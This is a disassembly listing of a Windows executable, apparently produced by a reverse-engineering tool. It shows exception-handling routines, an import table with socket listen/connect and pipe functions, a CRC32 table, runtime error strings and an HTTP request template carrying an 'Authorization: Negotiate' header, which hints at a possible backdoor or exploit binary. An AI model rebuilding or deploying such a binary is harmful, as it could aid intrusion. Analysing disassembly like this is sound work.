loc_41FECB: ; CODE XREF: seg000:0041FEC2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_41FED1 proc near ; CODE XREF: sub_41FE5B+Ap
; sub_41FFA4+7p ...
mov eax, offset loc_4202BC
call sub_416438
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_42014B
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_404D21
push ds:dword_421248
mov ecx, edi
push 0
push ebx
call sub_404BCE
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C5C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41FED1 endp
; =============== S U B R O U T I N E =======================================
sub_41FF2E proc near ; CODE XREF: sub_41FF6B+20p
; DATA XREF: seg001:00421F84o
mov eax, offset loc_4202D0
call sub_416438
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420195
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41FF2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF6B proc near ; DATA XREF: seg001:00421C44o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41FFA4
lea eax, [ebp+var_1C]
push offset dword_421F80
push eax
call sub_4201E9
loc_41FF88: ; DATA XREF: seg001:off_421C3Co
push esi
mov esi, ecx
call sub_41FF2E
test [esp+20h+var_18], 1
jz short loc_41FF9E
push esi
call sub_416457
pop ecx
loc_41FF9E: ; CODE XREF: sub_41FF6B+2Aj
mov eax, esi
pop esi
retn 4
sub_41FF6B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FFA4 proc near ; CODE XREF: sub_41FF6B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41FED1
mov dword ptr [esi], offset off_421C3C
mov eax, esi
pop esi
retn 4
sub_41FFA4 endp
; =============== S U B R O U T I N E =======================================
sub_41FFBC proc near ; CODE XREF: sub_404BCE+13p
; sub_404D92+Ep
mov eax, offset loc_4202E4
call sub_416438
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404D21
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_415CD0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D5D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41FDEA
lea eax, [ebp-3Ch]
push offset dword_4220A8
push eax
mov dword ptr [ebp-3Ch], offset off_421C6C
call sub_4201E9
pop esi
sub_41FFBC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420016 proc near ; CODE XREF: sub_420053+20p
; DATA XREF: seg001:004220ACo
mov eax, offset loc_4202F8
call sub_416438
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420195
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_420016 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420053 proc near ; DATA XREF: seg001:00421C74o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_42008C
lea eax, [ebp+var_1C]
push offset dword_4220A8
push eax
call sub_4201E9
loc_420070: ; DATA XREF: seg001:off_421C6Co
push esi
mov esi, ecx
call sub_420016
test [esp+20h+var_18], 1
jz short loc_420086
push esi
call sub_416457
pop ecx
loc_420086: ; CODE XREF: sub_420053+2Aj
mov eax, esi
pop esi
retn 4
sub_420053 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42008C proc near ; CODE XREF: sub_420053+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41FED1
mov dword ptr [esi], offset off_421C6C
mov eax, esi
pop esi
retn 4
sub_42008C endp
; =============== S U B R O U T I N E =======================================
sub_4200A4 proc near ; DATA XREF: seg002:0042300Co
; FUNCTION CHUNK AT 004200DA SIZE 0000000C BYTES
test ds:byte_46975C, 1
jnz short loc_4200B4
or ds:byte_46975C, 1
loc_4200B4: ; CODE XREF: sub_4200A4+7j
call sub_4200CE
test ds:byte_46AAF8, 1
jnz short loc_4200C9
or ds:byte_46AAF8, 1
loc_4200C9: ; CODE XREF: sub_4200A4+1Cj
jmp loc_4200DA
sub_4200A4 endp
; =============== S U B R O U T I N E =======================================
sub_4200CE proc near ; CODE XREF: sub_4200A4:loc_4200B4p
push offset nullsub_1
call sub_416820
pop ecx
retn
sub_4200CE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4200A4
loc_4200DA: ; CODE XREF: sub_4200A4:loc_4200C9j
push offset nullsub_1
call sub_416820
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4200A4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4200E6 proc near ; CODE XREF: sub_40446E+5Ep
; seg000:00405546p
jmp ds:dword_4211D4
sub_4200E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4200EC proc near ; CODE XREF: sub_4160A4+23p
; sub_416348+13p
jmp ds:dword_421154
sub_4200EC endp
; =============== S U B R O U T I N E =======================================
sub_4200F2 proc near ; DATA XREF: seg001:off_421C94o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_420195
test [esp+4+arg_0], 1
jz short loc_420108
push esi
call sub_416457
pop ecx
loc_420108: ; CODE XREF: sub_4200F2+Dj
mov eax, esi
pop esi
retn 4
sub_4200F2 endp
; =============== S U B R O U T I N E =======================================
sub_42010E proc near ; CODE XREF: sub_41FDEA+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421C94
push dword ptr [edi]
call sub_415CD0
inc eax
push eax
call sub_4167A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42013D
push dword ptr [edi]
push eax
call sub_415BE0
pop ecx
pop ecx
loc_42013D: ; CODE XREF: sub_42010E+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42010E endp
; =============== S U B R O U T I N E =======================================
sub_42014B proc near ; CODE XREF: sub_41FED1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421C94
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_420188
push dword ptr [edi+4]
call sub_415CD0
inc eax
push eax
call sub_4167A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42018E
push dword ptr [edi+4]
push eax
call sub_415BE0
pop ecx
pop ecx
jmp short loc_42018E
; ---------------------------------------------------------------------------
loc_420188: ; CODE XREF: sub_42014B+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42018E: ; CODE XREF: sub_42014B+2Ej
; sub_42014B+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42014B endp
; =============== S U B R O U T I N E =======================================
sub_420195 proc near ; CODE XREF: sub_41FE78+2Bp
; sub_41FF2E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_421C94
jz short locret_4201AA
push dword ptr [ecx+4]
call sub_416457
pop ecx
locret_4201AA: ; CODE XREF: sub_420195+Aj
retn
sub_420195 endp
; =============== S U B R O U T I N E =======================================
sub_4201AB proc near ; DATA XREF: seg001:00421C98o
mov eax, [ecx+4]
test eax, eax
jnz short locret_4201B7
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4201B7: ; CODE XREF: sub_4201AB+5j
retn
sub_4201AB endp
; =============== S U B R O U T I N E =======================================
sub_4201B8 proc near ; CODE XREF: seg000:004201D0p
mov dword ptr [ecx], offset off_421CB4
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4201CC
push ecx
call sub_415E1D
pop ecx
locret_4201CC: ; CODE XREF: sub_4201B8+Bj
retn
sub_4201B8 endp
; ---------------------------------------------------------------------------
loc_4201CD: ; DATA XREF: seg001:off_421CB4o
push esi
mov esi, ecx
call sub_4201B8
test byte ptr [esp+8], 1
jz short loc_4201E3
push esi
call sub_416457
pop ecx
loc_4201E3: ; CODE XREF: seg000:004201DAj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4201E9 proc near ; CODE XREF: sub_41FD90+54p
; sub_41FE5B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_421CB8
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call ds:dword_421184 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_4201E9 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_420224 proc near ; DATA XREF: seg001:00421E84o
; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_404B16
sub_420224 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_420242
mov ecx, [ebp+8]
jmp loc_404B16
; ---------------------------------------------------------------------------
locret_420242: ; CODE XREF: seg000:00420234j
retn
; ---------------------------------------------------------------------------
loc_420243: ; DATA XREF: sub_4046AAo
mov eax, offset dword_421E58
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420258: ; DATA XREF: seg001:00421EB4o
lea ecx, [ebp-1Ch]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420260: ; DATA XREF: sub_40484Co
mov eax, offset dword_421E88
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 4
loc_42026C: ; DATA XREF: sub_404DF9o
mov eax, offset dword_421EB8
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420280: ; DATA XREF: sub_41FD90o
mov eax, offset dword_421F90
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_420195
; ---------------------------------------------------------------------------
loc_420294: ; DATA XREF: sub_41FDEAo
mov eax, offset dword_421FB8
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_420195
; ---------------------------------------------------------------------------
loc_4202A8: ; DATA XREF: sub_41FE78o
mov eax, offset dword_422000
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_420195
; ---------------------------------------------------------------------------
loc_4202BC: ; DATA XREF: sub_41FED1o
mov eax, offset dword_422028
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_420195
; ---------------------------------------------------------------------------
loc_4202D0: ; DATA XREF: sub_41FF2Eo
mov eax, offset dword_422050
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_4202E4: ; DATA XREF: sub_41FFBCo
mov eax, offset dword_4220B8
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_420195
; ---------------------------------------------------------------------------
loc_4202F8: ; DATA XREF: sub_420016o
mov eax, offset dword_4220E0
jmp loc_4160F3
; ---------------------------------------------------------------------------
align 1000h
seg000 ends
; Section 2. (virtual address 00021000)
; Virtual size : 00002000 ( 8192.)
; Section size in file : 00002000 ( 8192.)
; Offset to raw data for section: 00021000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg001 segment para public 'CODE' use32
assume cs:seg001
;org 421000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 7C81AE17h, 7C833478h
dword_421008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41F825+261r
dword_42100C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_41F825+B9r
dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_42101C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41DF39+6r
dd 7C812641h, 7C81DC03h
dword_421028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; seg000:0041D304r
dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_42103C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_41CB00+E1r
dword_421044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW dd 7C80C058h
dword_42104C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount dd 7C80A427h, 7C82FA46h, 7C814EEAh
dword_42105C dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_40B151+Dr ...
dword_421060 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40283D+E3r ...
dword_421064 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4030C0+65r ...
dword_421068 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_406A16+80r ...
dword_42106C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4033CB+150r ...
dd 7C810D87h, 7C8312E5h
dword_421078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_4060E4+1C4r ...
dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_421088 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; seg000:loc_4075C2r ...
dword_42108C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; seg000:00407594r ...
dd 7C810A77h
dword_421094 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_409DF9+10Fr ...
dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_4210A4 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; seg000:0040696Br ...
dword_4210A8 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_408884+26r
dword_4210AC dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; seg000:0040B94Fr ...
dword_4210B0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_407983+22Fr
dword_4210C0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4089D6:loc_408EC6r ...
dword_4210C4 dd 3A7574h ; sub_419ECF+15r ...
dword_4210C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h
dword_4210D0 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4210D4 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
dd 7C802367h, 7C8329D9h, 7C812782h, 7C835DCAh, 7C85F90Fh
dd 7C80DDFEh
dword_421104 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_421108 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_42110C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:0041428Dr
dd 7C8310F2h
dword_421114 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; seg000:00412246r ...
dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_421138 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; seg000:0041BF5Er ...
dd 7C8216A4h, 7C801E16h
dword_421144 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA dd 7C830B14h
dword_42114C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_4174BF+AFr ...
dword_421150 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_418B08+2C4r ...
dword_421154 dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh
dword_421160 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41913C+28r
dd 7C801EEEh, 7C812F1Dh
dword_42116C dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_421170 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_421174 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_421178 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_42117C dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_4191ED+51r
dd 7C809E79h
dword_421184 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_4201E9+2Er
dword_421188 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h
dword_421190 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:0041BE9Er ...
dd 7C812E76h, 7C809915h, 7C8127A7h
dword_4211A0 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h, 0
dword_4211AC dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; seg000:00405AFBr
dword_4211B0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4059F0+15r
dword_4211B4 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4211B8 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_4211BC dd 71AB3E00h ; resolved to->WS2_32.binddword_4211C0 dd 71AB88D3h ; resolved to->WS2_32.listendword_4211C4 dd 71AC1028h ; resolved to->WS2_32.acceptdword_4211C8 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_4211CC dd 71AC0BDEh ; resolved to->WS2_32.shutdowndword_4211D0 dd 71AB2DC0h ; resolved to->WS2_32.select ; seg000:00405502r
dword_4211D4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4211D8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_402DDD+2Ar ...
dword_4211DC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_402988+EDr ...
dword_4211E0 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_402DDD+49r ...
dword_4211E4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_402DDD+64r ...
dword_4211E8 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40283D+135r ...
dword_4211EC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_402988+26Br ...
dword_4211F0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_402DDD+154r ...
align 8
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_421238 dq 1.388888888888889e-2 ; DATA XREF: sub_40465E+2Fr
dbl_421240 dq 1.666666666666667e-1 ; DATA XREF: sub_40465E+15r
dword_421248 dd 0FFFFFFFFh ; sub_404B1Er ...
align 10h
dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_4046AA+79r
dword_421258 dd 0 ; sub_404BCE+5Bo ...
dword_42125C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dd 0
dbl_421660 dq 9.765625e-4 ; DATA XREF: seg000:0040BF90r
; seg000:0040BFABr ...
dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_41407E+1Er
dbl_421670 dq 1.0 ; DATA XREF: sub_415E4C+6Cr
; sub_415F93+6Cr ...
dword_421678 dd 0FFFFFFFFh, 417BAFh, 417BC3hbyte_421684 db 6 ; DATA XREF: sub_417D2C:loc_417D83r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: seg002:off_437D4Co
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: seg002:off_437D48o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: seg002:off_437F74o
align 10h
dbl_4217B0 dq 0.0 ; DATA XREF: sub_41997C+8Cr
; sub_41997C+ACr ...
dbl_4217B8 dq 4.195835e6 ; DATA XREF: sub_419E91+Fr
dbl_4217C0 dq 3.145727e6 ; DATA XREF: sub_419E91+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419ECF+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419ECFo
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_419FF6+93o
align 4
dword_4217F8 dd 0FFFFFFFFh, 41A6E1h, 41A6EBh, 0dword_421808 dd 0FFFFFFFFh, 0 dd offset loc_41A867
align 8
dd offset sub_41A845
dd offset sub_41A84F
dword_421820 dd 0FFFFFFFFh, 41AA97h, 41AA9Bh, 0dword_421830 dd 0FFFFFFFFh, 41AAF9h, 41AB02h, 0dword_421840 dd 0FFFFFFFFh, 0 dd offset loc_41ABCD
align 10h
dd offset loc_41ABB9
dd offset loc_41ABBD
dword_421858 dd 0FFFFFFFFh, 0 dd offset loc_41AC23
align 8
dd offset loc_41AC0F
dd offset loc_41AC13
dword_421870 dd 2 dup(0) ; seg000:0041D210o ...
dword_421878 dd 0FFFFFFFFh, 41BE61h, 41BE65h, 0FFFFFFFFh, 41BF15h, 41BF19h
; DATA XREF: seg000:0041BD56o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
